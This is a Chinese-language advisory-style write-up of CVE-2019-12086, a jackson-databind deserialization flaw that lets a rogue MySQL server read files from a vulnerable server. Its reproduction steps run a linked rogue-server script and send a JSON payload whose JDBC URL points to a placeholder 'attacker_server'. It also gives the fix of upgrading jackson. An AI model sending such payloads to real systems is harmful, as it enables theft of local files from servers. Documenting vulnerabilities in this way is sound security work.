CVE-2019-12086 jackson-databind任意文件读取漏洞

栏目: 数据库 · 发布时间: 5年前

内容简介:在开启Default Typing的情况下,且classpath中存在mysql-connector-java 8.0.15版本(2019.2.1发布)以下,攻击者可以通过发送恶意json数据读取任意文件。mysql-connector-java这个库就是连接数据库时常用的mysql jdbc。CVE描述如下:漏洞详情:

jackson-CVE-2019-12086

漏洞描述

在开启Default Typing的情况下,且classpath中存在mysql-connector-java 8.0.15版本(2019.2.1发布)以下,攻击者可以通过发送恶意json数据读取任意文件。mysql-connector-java这个库就是连接数据库时常用的mysql jdbc。

CVE描述如下:

A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.

漏洞分析

漏洞详情:

  1. 在开启Default Typing的情况下,jackson在反序列化json时,可以反序列化指定类,且可以指定一个基础类型的值作为这个类的构造函数的参数的值。
  2. com.mysql.cj.jdbc.admin.MiniAdmin 的构造函数接受一个string的值,这个值代表jdbcURL, com.mysql.cj.jdbc.admin.MiniAdmin 类在初始化会连接这个jdbcURL中指定的 MySQL 数据库。
  3. 在mysql-connector-java 8.0.15版本(2019.2.1发布)以下,恶意MySQL服务器可以读取MySQL客户端的任意本地文件,从而导致漏洞产生。

漏洞复现

  1. 启动恶意MySQL服务器: https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
python rogue_mysql_server.py
  1. 在同一个目录下查看mysql.log:
tail -f mysql.log
  1. 向存在漏洞的应用发送如下json:
["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]
  1. 当jackson反序列化恶意json串后,会连接恶意MySQL服务器,被读取的文件内容会写入恶意服务器的mysql.log。

漏洞修复

升级jackson至 2.9.9 及以上。


以上所述就是小编给大家介绍的《CVE-2019-12086 jackson-databind任意文件读取漏洞》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

C++程序设计

C++程序设计

谭浩强 / 清华大学出版社 / 2004-6-1 / 36.00元

《C++程序设计》作者深入调查了我国大学的程序设计课程的现状和发展趋势,参阅了国内外数十种有关C++的教材,认真分析了学习者在学习过程中遇到的困难,研究了初学者的认识规律。在本书中做到准确定位,合理取舍内容,设计了读者易于学习的教材体系,并且以通俗易懂的语言化解了许多复杂的概念,大大减少了初学者学习C++的困难。C++是近年来国内外广泛使用的现代计算机语言,它既支持面向过程的程序设计,也支持基于对......一起来看看 《C++程序设计》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具